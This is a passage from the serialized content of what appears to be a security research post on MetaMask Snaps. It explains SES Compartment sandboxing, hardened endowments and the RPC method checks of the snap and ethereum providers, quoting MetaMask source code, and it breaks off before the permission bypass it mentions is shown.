",{"type":24,"tag":156,"props":40849,"children":40851},{"className":40850},[],[40852],{"type":30,"value":40853},"fetch()",{"type":30,"value":40855}," function to the endowments.",{"type":24,"tag":33,"props":40857,"children":40858},{},[40859,40861,40867],{"type":30,"value":40860},"All endowments are protected with the ",{"type":24,"tag":156,"props":40862,"children":40864},{"className":40863},[],[40865],{"type":30,"value":40866},"harden",{"type":30,"value":40868}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":478,"props":40870,"children":40871},{"start":984},[40872],{"type":24,"tag":100,"props":40873,"children":40874},{},[40875],{"type":24,"tag":275,"props":40876,"children":40877},{},[40878,40880],{"type":30,"value":40879},"Create the snap ",{"type":24,"tag":37,"props":40881,"children":40884},{"href":40882,"rel":40883},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[41],[40885],{"type":30,"value":40491},{"type":24,"tag":920,"props":40887,"children":40889},{"className":38701,"code":40888,"language":38703,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[40890],{"type":24,"tag":156,"props":40891,"children":40892},{"__ignoreMap":7},[40893,40921,40937,40954,40979],{"type":24,"tag":930,"props":40894,"children":40895},{"class":932,"line":933},[40896,40900,40905,40909,40913,40917],{"type":24,"tag":930,"props":40897,"children":40898},{"style":937},[40899],{"type":30,"value":12762},{"type":24,"tag":930,"props":40901,"children":40902},{"style":1023},[40903],{"type":30,"value":40904}," compartment",{"type":24,"tag":930,"props":40906,"children":40907},{"style":1158},[40908],{"type":30,"value":6137},{"type":24,"tag":930,"props":40910,"children":40911},{"style":937},[40912],{"type":30,"value":35023},{"type":24,"tag":930,"props":40914,"children":40915},{"style":1002},[40916],{"type":30,"value":40546},{"type":24,"tag":930,"props":40918,"children":40919},{"style":959},[40920],{"type":30,"value":18244},{"type":24,"tag":930,"props":40922,"children":40923},{"class":932,"line":984},[40924,40929,40933],{"type":24,"tag":930,"props":40925,"children":40926},{"style":1158},[40927],{"type":30,"value":40928},"    ...",{"type":24,"tag":930,"props":40930,"children":40931},{"style":1023},[40932],{"type":30,"value":40655},{"type":24,"tag":930,"props":40934,"children":40935},{"style":959},[40936],{"type":30,"value":2832},{"type":24,"tag":930,"props":40938,"children":40939},{"class":932,"line":993},[40940,40945,40950],{"type":24,"tag":930,"props":40941,"children":40942},{"style":1023},[40943],{"type":30,"value":40944},"    module:",{"type":24,"tag":930,"props":40946,"children":40947},{"style":1023},[40948],{"type":30,"value":40949}," snapModule",{"type":24,"tag":930,"props":40951,"children":40952},{"style":959},[40953],{"type":30,"value":2832},{"type":24,"tag":930,"props":40955,"children":40956},{"class":932,"line":1057},[40957,40962,40966,40970,40975],{"type":24,"tag":930,"props":40958,"children":40959},{"style":1023},[40960],{"type":30,"value":40961},"    exports:",{"type":24,"tag":930,"props":40963,"children":40964},{"style":1023},[40965],{"type":30,"value":40949},{"type":24,"tag":930,"props":40967,"children":40968},{"style":959},[40969],{"type":30,"value":436},{"type":24,"tag":930,"props":40971,"children":40972},{"style":1023},[40973],{"type":30,"value":40974},"exports",{"type":24,"tag":930,"props":40976,"children":40977},{"style":959},[40978],{"type":30,"value":2832},{"type":24,"tag":930,"props":40980,"children":40981},{"class":932,"line":1066},[40982],{"type":24,"tag":930,"props":40983,"children":40984},{"style":959},[40985],{"type":30,"value":38426},{"type":24,"tag":33,"props":40987,"children":40988},{},[40989,40991,40997,40998,41003,41005,41010],{"type":30,"value":40990},"Note: ",{"type":24,"tag":156,"props":40992,"children":40994},{"className":40993},[],[40995],{"type":30,"value":40996},"module",{"type":30,"value":211},{"type":24,"tag":156,"props":40999,"children":41001},{"className":41000},[],[41002],{"type":30,"value":40974},{"type":30,"value":41004}," are passed as endowments, but without being ",{"type":24,"tag":6032,"props":41006,"children":41007},{},[41008],{"type":30,"value":41009},"hardened",{"type":30,"value":41011},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":478,"props":41013,"children":41014},{"start":993},[41015],{"type":24,"tag":100,"props":41016,"children":41017},{},[41018],{"type":24,"tag":275,"props":41019,"children":41020},{},[41021,41023],{"type":30,"value":41022},"Evaluate the snap code inside the ",{"type":24,"tag":37,"props":41024,"children":41027},{"href":41025,"rel":41026},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[41],[41028],{"type":30,"value":40491},{"type":24,"tag":920,"props":41030,"children":41032},{"className":38701,"code":41031,"language":38703,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[41033],{"type":24,"tag":156,"props":41034,"children":41035},{"__ignoreMap":7},[41036,41077,41107,41144],{"type":24,"tag":930,"props":41037,"children":41038},{"class":932,"line":933},[41039,41043,41047,41051,41056,41060,41064,41069,41073],{"type":24,"tag":930,"props":41040,"children":41041},{"style":1079},[41042],{"type":30,"value":36004},{"type":24,"tag":930,"props":41044,"children":41045},{"style":937},[41046],{"type":30,"value":38804},{"type":24,"tag":930,"props":41048,"children":41049},{"style":959},[41050],{"type":30,"value":436},{"type":24,"tag":930,"props":41052,"children":41053},{"style":1002},[41054],{"type":30,"value":41055},"executeInSnapContext",{"type":24,"tag":930,"props":41057,"children":41058},{"style":959},[41059],{"type":30,"value":1010},{"type":24,"tag":930,"props":41061,"children":41062},{"style":1023},[41063],{"type":30,"value":39108},{"type":24,"tag":930,"props":41065,"children":41066},{"style":959},[41067],{"type":30,"value":41068},", () ",{"type":24,"tag":930,"props":41070,"children":41071},{"style":937},[41072],{"type":30,"value":17925},{"type":24,"tag":930,"props":41074,"children":41075},{"style":959},[41076],{"type":30,"value":981},{"type":24,"tag":930,"props":41078,"children":41079},{"class":932,"line":984},[41080,41085,41089,41094,41098,41103],{"type":24,"tag":930,"props":41081,"children":41082},{"style":1023},[41083],{"type":30,"value":41084},"    compartment",{"type":24,"tag":930,"props":41086,"children":41087},{"style":959},[41088],{"type":30,"value":436},{"type":24,"tag":930,"props":41090,"children":41091},{"style":1002},[41092],{"type":30,"value":41093},"evaluate",{"type":24,"tag":930,"props":41095,"children":41096},{"style":959},[41097],{"type":30,"value":1010},{"type":24,"tag":930,"props":41099,"children":41100},{"style":1023},[41101],{"type":30,"value":41102},"sourceCode",{"type":24,"tag":930,"props":41104,"children":41105},{"style":959},[41106],{"type":30,"value":1278},{"type":24,"tag":930,"props":41108,"children":41109},{"class":932,"line":993},[41110,41114,41118,41123,41127,41131,41135,41140],{"type":24,"tag":930,"props":41111,"children":41112},{"style":937},[41113],{"type":30,"value":39152},{"type":24,"tag":930,"props":41115,"children":41116},{"style":959},[41117],{"type":30,"value":436},{"type":24,"tag":930,"props":41119,"children":41120},{"style":1002},[41121],{"type":30,"value":41122},"registerSnapExports",{"type":24,"tag":930,"props":41124,"children":41125},{"style":959},[41126],{"type":30,"value":1010},{"type":24,"tag":930,"props":41128,"children":41129},{"style":1023},[41130],{"type":30,"value":39108},{"type":24,"tag":930,"props":41132,"children":41133},{"style":959},[41134],{"type":30,"value":962},{"type":24,"tag":930,"props":41136,"children":41137},{"style":1023},[41138],{"type":30,"value":41139},"snapModule",{"type":24,"tag":930,"props":41141,"children":41142},{"style":959},[41143],{"type":30,"value":1278},{"type":24,"tag":930,"props":41145,"children":41146},{"class":932,"line":1057},[41147],{"type":24,"tag":930,"props":41148,"children":41149},{"style":959},[41150],{"type":30,"value":38426},{"type":24,"tag":33,"props":41152,"children":41153},{},[41154,41156,41162,41163,41169,41170,41176],{"type":30,"value":41155},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":156,"props":41157,"children":41159},{"className":41158},[],[41160],{"type":30,"value":41161},"onRpcRequest",{"type":30,"value":962},{"type":24,"tag":156,"props":41164,"children":41166},{"className":41165},[],[41167],{"type":30,"value":41168},"onTransaction",{"type":30,"value":16241},{"type":24,"tag":156,"props":41171,"children":41173},{"className":41172},[],[41174],{"type":30,"value":41175},"onCronjob",{"type":30,"value":436},{"type":24,"tag":33,"props":41178,"children":41179},{},[41180,41182,41187],{"type":30,"value":41181},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":24,"tag":156,"props":41183,"children":41185},{"className":41184},[],[41186],{"type":30,"value":40505},{"type":30,"value":41188}," environment of that Compartment.",{"type":24,"tag":33,"props":41190,"children":41191},{},[41192],{"type":30,"value":41193},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":68,"props":41195,"children":41197},{"id":41196},"vulnerability-research",[41198],{"type":30,"value":41199},"Vulnerability research",{"type":24,"tag":151,"props":41201,"children":41203},{"id":41202},"possible-attacks",[41204],{"type":30,"value":41205},"Possible attacks",{"type":24,"tag":33,"props":41207,"children":41208},{},[41209],{"type":30,"value":41210},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":96,"props":41212,"children":41213},{},[41214,41219,41224,41229],{"type":24,"tag":100,"props":41215,"children":41216},{},[41217],{"type":30,"value":41218},"Broken SES Container isolation",{"type":24,"tag":100,"props":41220,"children":41221},{},[41222],{"type":30,"value":41223},"Insecure endowments in Containers",{"type":24,"tag":100,"props":41225,"children":41226},{},[41227],{"type":30,"value":41228},"Incorrect RPC permission checks",{"type":24,"tag":100,"props":41230,"children":41231},{},[41232],{"type":30,"value":41233},"Insecure snap installation/update",{"type":24,"tag":33,"props":41235,"children":41236},{},[41237],{"type":30,"value":41238},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":33,"props":41240,"children":41241},{},[41242],{"type":30,"value":41243},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":151,"props":41245,"children":41247},{"id":41246},"rpc-interfaces-endowments",[41248],{"type":30,"value":41249},"RPC interfaces endowments",{"type":24,"tag":21995,"props":41251,"children":41253},{"id":41252},"providers-limitations",[41254],{"type":30,"value":41255},"Providers limitations",{"type":24,"tag":33,"props":41257,"children":41258},{},[41259,41261,41267,41268,41273,41275,41282],{"type":30,"value":41260},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":156,"props":41262,"children":41264},{"className":41263},[],[41265],{"type":30,"value":41266},"snap",{"type":30,"value":211},{"type":24,"tag":156,"props":41269,"children":41271},{"className":41270},[],[41272],{"type":30,"value":34509},{"type":30,"value":41274}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":37,"props":41276,"children":41279},{"href":41277,"rel":41278},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[41],[41280],{"type":30,"value":41281},"methods",{"type":30,"value":476},{"type":24,"tag":920,"props":41284,"children":41286},{"className":38701,"code":41285,"language":38703,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[41287],{"type":24,"tag":156,"props":41288,"children":41289},{"__ignoreMap":7},[41290,41330,41338,41350,41419,41480,41492,41500,41511,41551,41581,41593,41618,41625,41633,41640,41678],{"type":24,"tag":930,"props":41291,"children":41292},{"class":932,"line":933},[41293,41298,41303,41308,41312,41317,41321,41326],{"type":24,"tag":930,"props":41294,"children":41295},{"style":1079},[41296],{"type":30,"value":41297},"export",{"type":24,"tag":930,"props":41299,"children":41300},{"style":937},[41301],{"type":30,"value":41302}," function",{"type":24,"tag":930,"props":41304,"children":41305},{"style":1002},[41306],{"type":30,"value":41307}," assertSnapOutboundRequest",{"type":24,"tag":930,"props":41309,"children":41310},{"style":959},[41311],{"type":30,"value":1010},{"type":24,"tag":930,"props":41313,"children":41314},{"style":1023},[41315],{"type":30,"value":41316},"args",{"type":24,"tag":930,"props":41318,"children":41319},{"style":1158},[41320],{"type":30,"value":476},{"type":24,"tag":930,"props":41322,"children":41323},{"style":943},[41324],{"type":30,"value":41325}," RequestArguments",{"type":24,"tag":930,"props":41327,"children":41328},{"style":959},[41329],{"type":30,"value":1503},{"type":24,"tag":930,"props":41331,"children":41332},{"class":932,"line":984},[41333],{"type":24,"tag":930,"props":41334,"children":41335},{"style":1422},[41336],{"type":30,"value":41337},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":930,"props":41339,"children":41340},{"class":932,"line":993},[41341,41346],{"type":24,"tag":930,"props":41342,"children":41343},{"style":1002},[41344],{"type":30,"value":41345},"  assert",{"type":24,"tag":930,"props":41347,"children":41348},{"style":959},[41349],{"type":30,"value":2814},{"type":24,"tag":930,"props":41351,"children":41352},{"class":932,"line":1057},[41353,41358,41362,41367,41371,41376,41380,41384,41388,41392,41396,41401,41405,41410,41414],{"type":24,"tag":930,"props":41354,"children":41355},{"style":943},[41356],{"type":30,"value":41357},"    String",{"type":24,"tag":930,"props":41359,"children":41360},{"style":959},[41361],{"type":30,"value":436},{"type":24,"tag":930,"props":41363,"children":41364},{"style":1023},[41365],{"type":30,"value":41366},"prototype",{"type":24,"tag":930,"props":41368,"children":41369},{"style":959},[41370],{"type":30,"value":436},{"type":24,"tag":930,"props":41372,"children":41373},{"style":1023},[41374],{"type":30,"value":41375},"startsWith",{"type":24,"tag":930,"props":41377,"children":41378},{"style":959},[41379],{"type":30,"value":436},{"type":24,"tag":930,"props":41381,"children":41382},{"style":1002},[41383],{"type":30,"value":570},{"type":24,"tag":930,"props":41385,"children":41386},{"style":959},[41387],{"type":30,"value":1010},{"type":24,"tag":930,"props":41389,"children":41390},{"style":1023},[41391],{"type":30,"value":41316},{"type":24,"tag":930,"props":41393,"children":41394},{"style":959},[41395],{"type":30,"value":436},{"type":24,"tag":930,"props":41397,"children":41398},{"style":1023},[41399],{"type":30,"value":41400},"method",{"type":24,"tag":930,"props":41402,"children":41403},{"style":959},[41404],{"type":30,"value":962},{"type":24,"tag":930,"props":41406,"children":41407},{"style":1270},[41408],{"type":30,"value":41409},"'wallet_'",{"type":24,"tag":930,"props":41411,"children":41412},{"style":959},[41413],{"type":30,"value":5579},{"type":24,"tag":930,"props":41415,"children":41416},{"style":1158},[41417],{"type":30,"value":41418},"||\n",{"type":24,"tag":930,"props":41420,"children":41421},{"class":932,"line":1066},[41422,41427,41431,41435,41439,41443,41447,41451,41455,41459,41463,41467,41471,41476],{"type":24,"tag":930,"props":41423,"children":41424},{"style":943},[41425],{"type":30,"value":41426},"      String",{"type":24,"tag":930,"props":41428,"children":41429},{"style":959},[41430],{"type":30,"value":436},{"type":24,"tag":930,"props":41432,"children":41433},{"style":1023},[41434],{"type":30,"value":41366},{"type":24,"tag":930,"props":41436,"children":41437},{"style":959},[41438],{"type":30,"value":436},{"type":24,"tag":930,"props":41440,"children":41441},{"style":1023},[41442],{"type":30,"value":41375},{"type":24,"tag":930,"props":41444,"children":41445},{"style":959},[41446],{"type":30,"value":436},{"type":24,"tag":930,"props":41448,"children":41449},{"style":1002},[41450],{"type":30,"value":570},{"type":24,"tag":930,"props":41452,"children":41453},{"style":959},[41454],{"type":30,"value":1010},{"type":24,"tag":930,"props":41456,"children":41457},{"style":1023},[41458],{"type":30,"value":41316},{"type":24,"tag":930,"props":41460,"children":41461},{"style":959},[41462],{"type":30,"value":436},{"type":24,"tag":930,"props":41464,"children":41465},{"style":1023},[41466],{"type":30,"value":41400},{"type":24,"tag":930,"props":41468,"children":41469},{"style":959},[41470],{"type":30,"value":962},{"type":24,"tag":930,"props":41472,"children":41473},{"style":1270},[41474],{"type":30,"value":41475},"'snap_'",{"type":24,"tag":930,"props":41477,"children":41478},{"style":959},[41479],{"type":30,"value":9848},{"type":24,"tag":930,"props":41481,"children":41482},{"class":932,"line":1075},[41483,41488],{"type":24,"tag":930,"props":41484,"children":41485},{"style":1270},[41486],{"type":30,"value":41487},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":930,"props":41489,"children":41490},{"style":959},[41491],{"type":30,"value":2832},{"type":24,"tag":930,"props":41493,"children":41494},{"class":932,"line":1122},[41495],{"type":24,"tag":930,"props":41496,"children":41497},{"style":959},[41498],{"type":30,"value":41499},"  );\n",{"type":24,"tag":930,"props":41501,"children":41502},{"class":932,"line":1131},[41503,41507],{"type":24,"tag":930,"props":41504,"children":41505},{"style":1002},[41506],{"type":30,"value":41345},{"type":24,"tag":930,"props":41508,"children":41509},{"style":959},[41510],{"type":30,"value":2814},{"type":24,"tag":930,"props":41512,"children":41513},{"class":932,"line":1144},[41514,41518,41523,41527,41531,41535,41539,41543,41547],{"type":24,"tag":930,"props":41515,"children":41516},{"style":1158},[41517],{"type":30,"value":24072},{"type":24,"tag":930,"props":41519,"children":41520},{"style":1023},[41521],{"type":30,"value":41522},"BLOCKED_RPC_METHODS",{"type":24,"tag":930,"props":41524,"children":41525},{"style":959},[41526],{"type":30,"value":436},{"type":24,"tag":930,"props":41528,"children":41529},{"style":1002},[41530],{"type":30,"value":38270},{"type":24,"tag":930,"props":41532,"children":41533},{"style":959},[41534],{"type":30,"value":1010},{"type":24,"tag":930,"props":41536,"children":41537},{"style":1023},[41538],{"type":30,"value":41316},{"type":24,"tag":930,"props":41540,"children":41541},{"style":959},[41542],{"type":30,"value":436},{"type":24,"tag":930,"props":41544,"children":41545},{"style":1023},[41546],{"type":30,"value":41400},{"type":24,"tag":930,"props":41548,"children":41549},{"style":959},[41550],{"type":30,"value":9848},{"type":24,"tag":930,"props":41552,"children":41553},{"class":932,"line":1169},[41554,41559,41563,41568,41572,41577],{"type":24,"tag":930,"props":41555,"children":41556},{"style":1023},[41557],{"type":30,"value":41558},"    ethErrors",{"type":24,"tag":930,"props":41560,"children":41561},{"style":959},[41562],{"type":30,"value":436},{"type":24,"tag":930,"props":41564,"children":41565},{"style":1023},[41566],{"type":30,"value":41567},"rpc",{"type":24,"tag":930,"props":41569,"children":41570},{"style":959},[41571],{"type":30,"value":436},{"type":24,"tag":930,"props":41573,"children":41574},{"style":1002},[41575],{"type":30,"value":41576},"methodNotFound",{"type":24,"tag":930,"props":41578,"children":41579},{"style":959},[41580],{"type":30,"value":18244},{"type":24,"tag":930,"props":41582,"children":41583},{"class":932,"line":1191},[41584,41589],{"type":24,"tag":930,"props":41585,"children":41586},{"style":1023},[41587],{"type":30,"value":41588},"      data:",{"type":24,"tag":930,"props":41590,"children":41591},{"style":959},[41592],{"type":30,"value":981},{"type":24,"tag":930,"props":41594,"children":41595},{"class":932,"line":1223},[41596,41601,41606,41610,41614],{"type":24,"tag":930,"props":41597,"children":41598},{"style":1023},[41599],{"type":30,"value":41600},"        method:",{"type":24,"tag":930,"props":41602,"children":41603},{"style":1023},[41604],{"type":30,"value":41605}," args",{"type":24,"tag":930,"props":41607,"children":41608},{"style":959},[41609],{"type":30,"value":436},{"type":24,"tag":930,"props":41611,"children":41612},{"style":1023},[41613],{"type":30,"value":41400},{"type":24,"tag":930,"props":41615,"children":41616},{"style":959},[41617],{"type":30,"value":2832},{"type":24,"tag":930,"props":41619,"children":41620},{"class":932,"line":1281},[41621],{"type":24,"tag":930,"props":41622,"children":41623},{"style":959},[41624],{"type":30,"value":40287},{"type":24,"tag":930,"props":41626,"children":41627},{"class":932,"line":1313},[41628],{"type":24,"tag":930,"props":41629,"children":41630},{"style":959},[41631],{"type":30,"value":41632},"    }),\n",{"type":24,"tag":930,"props":41634,"children":41635},{"class":932,"line":1335},[41636],{"type":24,"tag":930,"props":41637,"children":41638},{"style":959},[41639],{"type":30,"value":41499},{"type":24,"tag":930,"props":41641,"children":41642},{"class":932,"line":1376},[41643,41648,41652,41656,41660,41665,41669,41674],{"type":24,"tag":930,"props":41644,"children":41645},{"style":1002},[41646],{"type":30,"value":41647},"  assertStruct",{"type":24,"tag":930,"props":41649,"children":41650},{"style":959},[41651],{"type":30,"value":1010},{"type":24,"tag":930,"props":41653,"children":41654},{"style":1023},[41655],{"type":30,"value":41316},{"type":24,"tag":930,"props":41657,"children":41658},{"style":959},[41659],{"type":30,"value":962},{"type":24,"tag":930,"props":41661,"children":41662},{"style":1023},[41663],{"type":30,"value":41664},"JsonStruct",{"type":24,"tag":930,"props":41666,"children":41667},{"style":959},[41668],{"type":30,"value":962},{"type":24,"tag":930,"props":41670,"children":41671},{"style":1270},[41672],{"type":30,"value":41673},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":930,"props":41675,"children":41676},{"style":959},[41677],{"type":30,"value":1278},{"type":24,"tag":930,"props":41679,"children":41680},{"class":932,"line":1418},[41681],{"type":24,"tag":930,"props":41682,"children":41683},{"style":959},[41684],{"type":30,"value":2528},{"type":24,"tag":33,"props":41686,"children":41687},{},[41688,41690,41695,41697,41703,41704,41710],{"type":30,"value":41689},"This function is called by the ",{"type":24,"tag":156,"props":41691,"children":41693},{"className":41692},[],[41694],{"type":30,"value":41266},{"type":30,"value":41696}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":156,"props":41698,"children":41700},{"className":41699},[],[41701],{"type":30,"value":41702},"wallet_",{"type":30,"value":16241},{"type":24,"tag":156,"props":41705,"children":41707},{"className":41706},[],[41708],{"type":30,"value":41709},"snap_",{"type":30,"value":41711},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":33,"props":41713,"children":41714},{},[41715,41717,41722,41724,41729,41731,41737],{"type":30,"value":41716},"On the other hand, the ",{"type":24,"tag":156,"props":41718,"children":41720},{"className":41719},[],[41721],{"type":30,"value":34509},{"type":30,"value":41723}," provider only blocks methods starting with ",{"type":24,"tag":156,"props":41725,"children":41727},{"className":41726},[],[41728],{"type":30,"value":41709},{"type":30,"value":41730}," and the blocked methods. However, it requires the ",{"type":24,"tag":156,"props":41732,"children":41734},{"className":41733},[],[41735],{"type":30,"value":41736},"endowment:ethereum-provider",{"type":30,"value":41738}," permission in the snap manifest.",{"type":24,"tag":21995,"props":41740,"children":41742},{"id":41741},"execution-flow",[41743],{"type":30,"value":41744},"Execution flow",{"type":24,"tag":33,"props":41746,"children":41747},{},[41748,41750,41755,41756,41761,41763,41768,41769,41775],{"type":30,"value":41749},"Both providers (",{"type":24,"tag":156,"props":41751,"children":41753},{"className":41752},[],[41754],{"type":30,"value":41266},{"type":30,"value":211},{"type":24,"tag":156,"props":41757,"children":41759},{"className":41758},[],[41760],{"type":30,"value":34509},{"type":30,"value":41762},") are built outside the SES container with a ",{"type":24,"tag":156,"props":41764,"children":41766},{"className":41765},[],[41767],{"type":30,"value":34585},{"type":30,"value":510},{"type":24,"tag":37,"props":41770,"children":41773},{"href":41771,"rel":41772},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[41],[41774],{"type":30,"value":34469},{"type":30,"value":476},{"type":24,"tag":920,"props":41777,"children":41779},{"className":39018,"code":41778,"language":39020,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[41780],{"type":24,"tag":156,"props":41781,"children":41782},{"__ignoreMap":7},[41783,41830,41855,41888,41923,41935,41955,41993,42013,42020,42037,42070,42077],{"type":24,"tag":930,"props":41784,"children":41785},{"class":932,"line":933},[41786,41790,41794,41798,41802,41806,41810,41814,41818,41822,41826],{"type":24,"tag":930,"props":41787,"children":41788},{"style":937},[41789],{"type":30,"value":39276},{"type":24,"tag":930,"props":41791,"children":41792},{"style":1002},[41793],{"type":30,"value":34474},{"type":24,"tag":930,"props":41795,"children":41796},{"style":1158},[41797],{"type":30,"value":6137},{"type":24,"tag":930,"props":41799,"children":41800},{"style":937},[41801],{"type":30,"value":39453},{"type":24,"tag":930,"props":41803,"children":41804},{"style":959},[41805],{"type":30,"value":1087},{"type":24,"tag":930,"props":41807,"children":41808},{"style":1023},[41809],{"type":30,"value":41316},{"type":24,"tag":930,"props":41811,"children":41812},{"style":1158},[41813],{"type":30,"value":476},{"type":24,"tag":930,"props":41815,"children":41816},{"style":943},[41817],{"type":30,"value":41325},{"type":24,"tag":930,"props":41819,"children":41820},{"style":959},[41821],{"type":30,"value":5579},{"type":24,"tag":930,"props":41823,"children":41824},{"style":937},[41825],{"type":30,"value":17925},{"type":24,"tag":930,"props":41827,"children":41828},{"style":959},[41829],{"type":30,"value":981},{"type":24,"tag":930,"props":41831,"children":41832},{"class":932,"line":984},[41833,41838,41842,41846,41850],{"type":24,"tag":930,"props":41834,"children":41835},{"style":1002},[41836],{"type":30,"value":41837},"      assertSnapOutboundRequest",{"type":24,"tag":930,"props":41839,"children":41840},{"style":959},[41841],{"type":30,"value":1010},{"type":24,"tag":930,"props":41843,"children":41844},{"style":1023},[41845],{"type":30,"value":41316},{"type":24,"tag":930,"props":41847,"children":41848},{"style":959},[41849],{"type":30,"value":31446},{"type":24,"tag":930,"props":41851,"children":41852},{"style":1422},[41853],{"type":30,"value":41854},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":930,"props":41856,"children":41857},{"class":932,"line":993},[41858,41862,41867,41871,41876,41880,41884],{"type":24,"tag":930,"props":41859,"children":41860},{"style":937},[41861],{"type":30,"value":34639},{"type":24,"tag":930,"props":41863,"children":41864},{"style":1023},[41865],{"type":30,"value":41866}," sanitizedArgs",{"type":24,"tag":930,"props":41868,"children":41869},{"style":1158},[41870],{"type":30,"value":6137},{"type":24,"tag":930,"props":41872,"children":41873},{"style":1002},[41874],{"type":30,"value":41875}," getSafeJson",{"type":24,"tag":930,"props":41877,"children":41878},{"style":959},[41879],{"type":30,"value":1010},{"type":24,"tag":930,"props":41881,"children":41882},{"style":1023},[41883],{"type":30,"value":41316},{"type":24,"tag":930,"props":41885,"children":41886},{"style":959},[41887],{"type":30,"value":1278},{"type":24,"tag":930,"props":41889,"children":41890},{"class":932,"line":1057},[41891,41896,41900,41905,41909,41913,41918],{"type":24,"tag":930,"props":41892,"children":41893},{"style":937},[41894],{"type":30,"value":41895},"      this",{"type":24,"tag":930,"props":41897,"children":41898},{"style":959},[41899],{"type":30,"value":436},{"type":24,"tag":930,"props":41901,"children":41902},{"style":1002},[41903],{"type":30,"value":41904},"notify",{"type":24,"tag":930,"props":41906,"children":41907},{"style":959},[41908],{"type":30,"value":34590},{"type":24,"tag":930,"props":41910,"children":41911},{"style":1023},[41912],{"type":30,"value":34595},{"type":24,"tag":930,"props":41914,"children":41915},{"style":1270},[41916],{"type":30,"value":41917}," 'OutboundRequest'",{"type":24,"tag":930,"props":41919,"children":41920},{"style":959},[41921],{"type":30,"value":41922}," });\n",{"type":24,"tag":930,"props":41924,"children":41925},{"class":932,"line":1066},[41926,41931],{"type":24,"tag":930,"props":41927,"children":41928},{"style":1079},[41929],{"type":30,"value":41930},"      try",{"type":24,"tag":930,"props":41932,"children":41933},{"style":959},[41934],{"type":30,"value":981},{"type":24,"tag":930,"props":41936,"children":41937},{"class":932,"line":1075},[41938,41942,41946,41951],{"type":24,"tag":930,"props":41939,"children":41940},{"style":1079},[41941],{"type":30,"value":18847},{"type":24,"tag":930,"props":41943,"children":41944},{"style":1079},[41945],{"type":30,"value":39299},{"type":24,"tag":930,"props":41947,"children":41948},{"style":1002},[41949],{"type":30,"value":41950}," withTeardown",{"type":24,"tag":930,"props":41952,"children":41953},{"style":959},[41954],{"type":30,"value":2814},{"type":24,"tag":930,"props":41956,"children":41957},{"class":932,"line":1122},[41958,41963,41967,41972,41976,41981,41985,41989],{"type":24,"tag":930,"props":41959,"children":41960},{"style":1002},[41961],{"type":30,"value":41962},"          originalRequest",{"type":24,"tag":930,"props":41964,"children":41965},{"style":959},[41966],{"type":30,"value":1010},{"type":24,"tag":930,"props":41968,"children":41969},{"style":1023},[41970],{"type":30,"value":41971},"sanitizedArgs",{"type":24,"tag":930,"props":41973,"children":41974},{"style":1079},[41975],{"type":30,"value":11937},{"type":24,"tag":930,"props":41977,"children":41978},{"style":943},[41979],{"type":30,"value":41980}," unknown",{"type":24,"tag":930,"props":41982,"children":41983},{"style":1079},[41984],{"type":30,"value":11937},{"type":24,"tag":930,"props":41986,"children":41987},{"style":943},[41988],{"type":30,"value":41325},{"type":24,"tag":930,"props":41990,"children":41991},{"style":959},[41992],{"type":30,"value":9848},{"type":24,"tag":930,"props":41994,"children":41995},{"class":932,"line":1131},[41996,42001,42005,42009],{"type":24,"tag":930,"props":41997,"children":41998},{"style":937},[41999],{"type":30,"value":42000},"          